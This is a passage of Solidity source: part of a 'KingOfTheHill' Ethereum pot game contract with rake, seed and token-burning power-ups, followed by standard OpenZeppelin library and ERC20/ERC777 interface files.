uint256 private _rake = 20;
uint256 public _strengthPerc = 30;
constructor(
address owner,
address wallet_
) {
_pause();
_koth = KOTH(0x0);
// _weth = weth_;
_wallet = wallet_;
_bpOfPotToBuy = 100; // Percentage of the pot in ether it
_percentagePotToSeed = 90; // Amount of the pot that is kept as the seed
_nbBlocksWinning = 100; // number
_strengthBonus = 100; // percentage
_defenseBonus = 2; // number
_agilityBonus = 1; // number
_kothUniPool = msg.sender; // WARNING Change this to the KOTH uni pool once created
transferOwnership(owner);
}
modifier onlyPotOwner() {
require(
_msgSender() == _potOwner,
"KingOfTheHill: Only pot owner can buy bonus"
);
_;
}
modifier onlyNotPotOwner() {
require(
_msgSender() != _potOwner,
"KingOfTheHill: sender mut not be the pot owner"
);
_;
}
modifier onlyRationalPercentage(uint256 percentage) {
require(
percentage >= 0 && percentage <= 100,
"KingOfTheHill: percentage value is irrational"
);
_;
}
function setKothUniPool(address p) public onlyOwner {
_kothUniPool = p;
}
function setRake(uint r) public onlyOwner {
_rake = r;
}
function setDefencePerc(uint d) public onlyOwner {
_defensePerc = d;
}
function setStrengthPerc(uint s) public onlyOwner {
_strengthPerc = s;
}
function setKothPerBlock(uint k) public onlyOwner {
_kothPerBlock = k;
}
function setKoth(address k) public onlyOwner {
_koth = KOTH(k);
}
function setWeth(address w) public onlyOwner {
_weth = w;
}
// Used for percentages 1% - 100%
function percentageToAmount(uint256 amount, uint256 percentage) public pure returns (uint256) {
return amount.mul(percentage).div(100);
}
// Used for basis points 0.0001% -> 100.0000%
function basisPointToAmount(uint256 amount, uint256 percentage) public pure returns (uint256) {
return amount.mul(percentage).div(10000);
}
function koth() public view returns (address) {
return address(_koth);
}
function wallet() public view returns (address) {
return _wallet;
}
function nbBlocksWinning() public view returns (uint256) {
return _nbBlocksWinning;
}
function setNbBlocksWinning(uint256 nbBlocks) public onlyOwner() {
require(nbBlocks > 0, "KingOfTheHill: nbBlocks must be greater than 0");
_nbBlocksWinning = nbBlocks;
}
function remainingBlocks() public view returns (uint256) {
uint256 blockPassed =
(block.number).sub(_nbBlockBought).add(
_nbAgility.mul(_agilityBonus)
);
if (_potOwner == address(0)) {
return _nbBlocksWinning;
} else if (blockPassed > _nbBlocksWinning) {
return 0;
} else {
return _nbBlocksWinning.sub(blockPassed);
}
}
function hasWinner() public view returns (bool) {
if (_potOwner != address(0) && remainingBlocks() == 0) {
return true;
} else {
return false;
}
}
function percentagePotToBuy() public view returns (uint256) {
return _bpOfPotToBuy;
}
function setPercentagePotToBuy(uint256 percentage) public onlyOwner() onlyRationalPercentage(percentage) {
_bpOfPotToBuy = percentage;
}
function percentagePotToSeed() public view returns (uint256) {
return _percentagePotToSeed;
}
function setPercentagePotToSeed(uint256 percentage) public onlyOwner() onlyRationalPercentage(percentage) {
_percentagePotToSeed = percentage;
}
function setStrengthBonus(uint256 percentage) public onlyOwner() {
//require("KingOfTheHill: Irration percentage")
_strengthBonus = percentage;
}
function strengthBonus() public view returns (uint256) {
return _strengthBonus;
}
function defenseBonus() public view returns (uint256) {
return _defenseBonus;
}
function setDefenseBonus(uint256 percentage) public onlyOwner() {
_defenseBonus = percentage;
}
function agilityBonus() public view returns (uint256) {
return _agilityBonus;
}
function setAgilityBonus(uint256 nbBlock) public onlyOwner() {
_agilityBonus = nbBlock;
}
function agilityBuyNbBlockMin() public view returns (uint256) {
return _agilityBuyNbBlockMin;
}
function setAgilityBuyNbBlockMin(uint256 nbBlocks) public onlyOwner() {
_agilityBuyNbBlockMin = nbBlocks;
}
function isStrengthPowerUp() public view returns (bool) {
return _isStrengthPowerUp;
}
function isDefensePowerUp() public view returns (bool) {
return _isDefensePowerUp;
}
function isAgilityPowerUp() public view returns (bool) {
return _isAgilityPowerUp;
}
// Visible pot value is the contract balance minus the seed amount for next round
function pot() public view returns (uint256) {
return _pot;
}
function seed() public view returns (uint256) {
return _seed;
}
/*
* POT PRICES
*/
function defensivePotCost() public view returns (uint256) {
uint256 price = basisPointToAmount(
_pot,
_bpOfPotToBuy.mul(_defenseBonus)
);
return price;
}
function regularPotCost() public view returns (uint256) {
return basisPointToAmount(
_pot,
_bpOfPotToBuy.mul(1)
);
}
function priceOfPot() public view returns (uint256) {
if (hasWinner()) return basisPointToAmount(_seed, _bpOfPotToBuy);
if (_isDefensePowerUp) return defensivePotCost();
return regularPotCost();
}
function prize() public view returns (uint256) {
uint256 strBonus = 0;
if (_isStrengthPowerUp) {
strBonus = _strengthBonus;
}
return _pot.add(percentageToAmount(_pot, strBonus));
}
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
function potOwner() public view returns (address) {
return _potOwner;
}
/*
* This function returns the price of KOTH in ETH
*/
function getKOTHPrice() public view returns (uint256) {
if (_weth == address(0x0)) return 2 * 10 ** 18;
uint256 ethAmount = IERC20(_weth).balanceOf(_kothUniPool);
uint256 kothAmount = IERC20(_koth).balanceOf(_kothUniPool).mul(10**18);
return kothAmount.div(ethAmount);
}
function issueWinner() internal {
emit Winner(_potOwner, prize());
payable(_potOwner).transfer(prize());
_pot = _seed;
_seed = 0;
}
function buyPot() public payable onlyNotPotOwner() whenNotPaused() {
require(msg.value >= priceOfPot(), "KingOfTheHill: Not enough ether for buying pot");
// Pay winner and reset contract
if (hasWinner()) {
issueWinner();
}
// Recalculate seed
uint256 rake = percentageToAmount(msg.value, _rake); // 20% rake
uint256 keep = msg.value.sub(rake);
uint256 toSeed = percentageToAmount(keep, _percentagePotToSeed);
uint256 toPot = msg.value.sub(toSeed);
_pot = _pot.add(toPot);
_seed = _seed.add(toSeed);
payable(_wallet).transfer(rake);
// Reset block bought
_nbBlockBought = block.number;
// Reset powerups
_isStrengthPowerUp = false;
_isDefensePowerUp = false;
_isAgilityPowerUp = false;
_nbAgility = 0;
_potOwner = _msgSender();
emit Bought(_msgSender());
}
/*
* STRENGTH POWER UP
*/
function strengthPowerUpCost() public view returns (uint256) {
uint256 amount = 0;
amount = percentageToAmount(
percentageToAmount(priceOfPot(), _strengthBonus),
_strengthPerc
);
amount = amount.mul(getKOTHPrice()).div(10 ** 18);
return amount;
}
function buyStrength() public onlyPotOwner() whenNotPaused() {
require(_isStrengthPowerUp == false, "KingOfTheHill: Already bought a strength power up");
_koth.operatorBurn(_msgSender(), strengthPowerUpCost(), "", "");
_isStrengthPowerUp = true;
emit StrengthActivated(strengthPowerUpCost());
}
/*
* DEFENSIVE POWER UP
*/
function defensePowerUpCost() public view returns (uint256) {
uint256 amount = percentageToAmount(defensivePotCost().sub(regularPotCost()), _defensePerc);
amount = amount.mul(getKOTHPrice()).div(10 ** 18);
return amount;
}
function buyDefense() public onlyPotOwner() whenNotPaused() {
require(_isDefensePowerUp == false, "KingOfTheHill: Already bought a defense power up");
_koth.operatorBurn(_msgSender(), defensePowerUpCost(), "", "");
_isDefensePowerUp = true;
}
function buyAgility(uint256 nbAgility)
public
onlyPotOwner()
whenNotPaused()
{
require(
_isAgilityPowerUp == false,
"KingOfTheHill: Already bought an agility power up"
);
require(nbAgility > 0, "KingOfTheHill: can not buy 0 agility");
require(
remainingBlocks() > (_agilityBonus.mul(nbAgility)).add(3),
"KingOfTheHill: too many agility power-up"
);
uint256 cost = _kothPerBlock.mul(10 ** uint256(_koth.decimals())).div(KOTH_PER_BLOCK_PRECISION);
_koth.operatorBurn(
_msgSender(),
_agilityBonus.mul(nbAgility).mul(cost),
"",
""
);
_nbAgility = nbAgility;
_isAgilityPowerUp = true;
}
function pause() public onlyOwner() {
_pause();
}
function unpause() public onlyOwner() {
_unpause();
}
function withdraw(uint256 amount) public onlyOwner() {
payable(owner()).transfer(amount);
}
receive() external payable {
uint256 toSeed = percentageToAmount(msg.value, _percentagePotToSeed);
uint256 toPot = msg.value.sub(toSeed);
_pot = _pot.add(toPot);
_seed = _seed.add(toSeed);
}
event Winner(address indexed winner, uint256 amount);
event Bought(address indexed buyer);
event StrengthActivated(uint256 cost);
event DefenseActivated(uint256 cost);
event AgilityActivated(uint256 cost);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../GSN/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the global ERC1820 Registry, as defined in the
* https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register
* implementers for interfaces in this registry, as well as query support.
*
* Implementers may be shared by multiple accounts, and can also implement more
* than a single interface for each account. Contracts can implement interfaces
* for themselves, but externally-owned accounts (EOA) must delegate this to a
* contract.
*
* {IERC165} interfaces can also be queried via the registry.
*
* For an in-depth explanation and source code analysis, see the EIP text.
*/
interface IERC1820Registry {
/**
* @dev Sets `newManager` as the manager for `account`. A manager of an
* account is able to set interface implementers for it.
*
* By default, each account is its own manager. Passing a value of `0x0` in
* `newManager` will reset the manager to this initial state.
*
* Emits a {ManagerChanged} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
*/
function setManager(address account, address newManager) external;
/**
* @dev Returns the manager for `account`.
*
* See {setManager}.
*/
function getManager(address account) external view returns (address);
/**
* @dev Sets the `implementer` contract as ``account``'s implementer for
* `interfaceHash`.
*
* `account` being the zero address is an alias for the caller's address.
* The zero address can also be used in `implementer` to remove an old one.
*
* See {interfaceHash} to learn how these are created.
*
* Emits an {InterfaceImplementerSet} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
* - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not
* end in 28 zeroes).
* - `implementer` must implement {IERC1820Implementer} and return true when
* queried for support, unless `implementer` is the caller. See
* {IERC1820Implementer-canImplementInterfaceForAddress}.
*/
function setInterfaceImplementer(address account, bytes32 _interfaceHash, address implementer) external;
/**
* @dev Returns the implementer of `interfaceHash` for `account`. If no such
* implementer is registered, returns the zero address.
*
* If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28
* zeroes), `account` will be queried for support of it.
*
* `account` being the zero address is an alias for the caller's address.
*/
function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address);
/**
* @dev Returns the interface hash for an `interfaceName`, as defined in the
* corresponding
* https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP].
*/
function interfaceHash(string calldata interfaceName) external pure returns (bytes32);
/**
* @notice Updates the cache with whether the contract implements an ERC165 interface or not.
* @param account Address of the contract for which to update the cache.
* @param interfaceId ERC165 interface for which to update the cache.
*/
function updateERC165Cache(address account, bytes4 interfaceId) external;
/**
* @notice Checks whether a contract implements an ERC165 interface or not.
* If the result is not cached a direct lookup on the contract address is performed.
* If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling
* {updateERC165Cache} with the contract address.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);
/**
* @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);
event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);
event ManagerChanged(address indexed account, address indexed newManager);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC777Token standard as defined in the EIP.
*
* This contract uses the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let
* token holders and recipients react to token movements by using setting implementers
* for the associated interfaces in said registry. See {IERC1820Registry} and
* {ERC1820Implementer}.
*/
interface IERC777 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the smallest part of the token that is not divisible. This
* means all token operations (creation, movement and destruction) must have
* amounts that are a multiple of this number.
*
* For most token contracts, this value will equal 1.
*/
function granularity() external view returns (uint256);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by an account (`owner`).
*/
function balanceOf(address owner) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* If send or receive hooks are registered for the caller and `recipient`,
* the corresponding functions will be called with `data` and empty
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function send(address recipient, uint256 amount, bytes calldata data) external;
/**
* @dev Destroys `amount` tokens from the caller's account, reducing the
* total supply.
*
* If a send hook is registered for the caller, the corresponding function
* will be called with `data` and empty `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
*/
function burn(uint256 amount, bytes calldata data) external;
/**
* @dev Returns true if an account is an operator of `tokenHolder`.
* Operators can send and burn tokens on behalf of their owners. All
* accounts are their own operator.
*
* See {operatorSend} and {operatorBurn}.
*/
function isOperatorFor(address operator, address tokenHolder) external view returns (bool);
/**
* @dev Make an account an operator of the caller.
*
* See {isOperatorFor}.
*
* Emits an {AuthorizedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function authorizeOperator(address operator) external;
/**
* @dev Revoke an account's operator status for the caller.
*
* See {isOperatorFor} and {defaultOperators}.
*
* Emits a {RevokedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function revokeOperator(address operator) external;
/**
* @dev Returns the list of default operators. These accounts are operators
* for all token holders, even if {authorizeOperator} was never called on
* them.
*
* This list is immutable, but individual holders may revoke these via
* {revokeOperator}, in which case {isOperatorFor} will return false.
*/
function defaultOperators() external view returns (address[] memory);
/**
* @dev Moves `amount` tokens from `sender` to `recipient`. The caller must
* be an operator of `sender`.
*
* If send or receive hooks are registered for `sender` and `recipient`,
* the corresponding functions will be called with `data` and
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - `sender` cannot be the zero address.
* - `sender` must have at least `amount` tokens.
* - the caller must be an operator for `sender`.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
/**
* @dev Destroys `amount` tokens from `account`, reducing the total supply.
* The caller must be an operator of `account`.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `data` and `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
* - the caller must be an operator for `account`.
*/
function operatorBurn(
address account,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData
);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC777TokensRecipient standard as defined in the EIP.
*
* Accounts can be notified of {IERC777} tokens being sent to them by having a
* contract implement this interface (contract holders can be their own
* implementer) and registering it on the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry].
*
* See {IERC1820Registry} and {ERC1820Implementer}.
*/
interface IERC777Recipient {
/**
* @dev Called by an {IERC777} token contract whenever tokens are being
* moved or created into a registered account (`to`). The type of operation
* is conveyed by `from` being the zero address or not.
*
* This call occurs _after_ the token contract's state is updated, so
* {IERC777-balanceOf}, etc., can be used to query the post-operation state.
*
* This function may revert to prevent the operation from being executed.
*/
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC777TokensSender standard as defined in the EIP.
*
* {IERC777} Token holders can be notified of operations performed on their
* tokens by having a contract implement this interface (contract holders can be
* their own implementer) and registering it on the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry].
*
* See {IERC1820Registry} and {ERC1820Implementer}.
*/
interface IERC777Sender {
/**
* @dev Called by an {IERC777} token contract whenever a registered holder's
* (`from`) tokens are about to be moved or destroyed. The type of operation
* is conveyed by `to` being the zero address or not.
*
* This call occurs _before_ the token contract's state is updated, so
* {IERC777-balanceOf}, etc., can be used to query the pre-operation state.
*
* This function may revert to prevent the operation from being executed.
*/
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
